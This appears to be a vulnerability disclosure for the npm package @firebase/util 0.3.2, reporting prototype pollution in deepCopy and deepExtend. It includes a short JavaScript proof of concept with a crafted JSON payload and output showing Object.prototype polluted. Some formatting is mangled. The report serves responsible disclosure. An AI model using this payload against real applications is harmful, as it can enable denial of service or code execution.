module name: @firebase/util
version: 0.3.2
npm page: https://www.npmjs.com/package/@firebase/util
NOTE: This is specifically tailored for Firebase JS SDK usage, if you are not a member of the Firebase team, please avoid using this package
This is a wrapper of some Webchannel Features for the Firebase JS SDK.
[1,516,157] weekly downloads
I tested the deepCopy
and deepExtend
functions.
The deepCopy
and deepExtend
functions can be used to add/modify properties of the Object prototype. These properties will be present on all objects.
@firebase/util
module:npm i ``@firebase/util
Run the following poc: ```javascript const utils = require('@firebase/util');
const obj = {}; const source = JSON.parse('{"proto":{"polluted":"yes"}}'); console.log("Before : " + obj.polluted); utils.deepExtend({}, source); // utils.deepCopy(source); console.log("After : " + obj.polluted);
Output:
console
Before : undefined After : yes ``` {F1024346}
Thank you for your time.
best regards,
d3lla
The impact depends on the application. In some cases it is possible to achieve Denial of service (DoS), Remote Code Execution, Property Injection.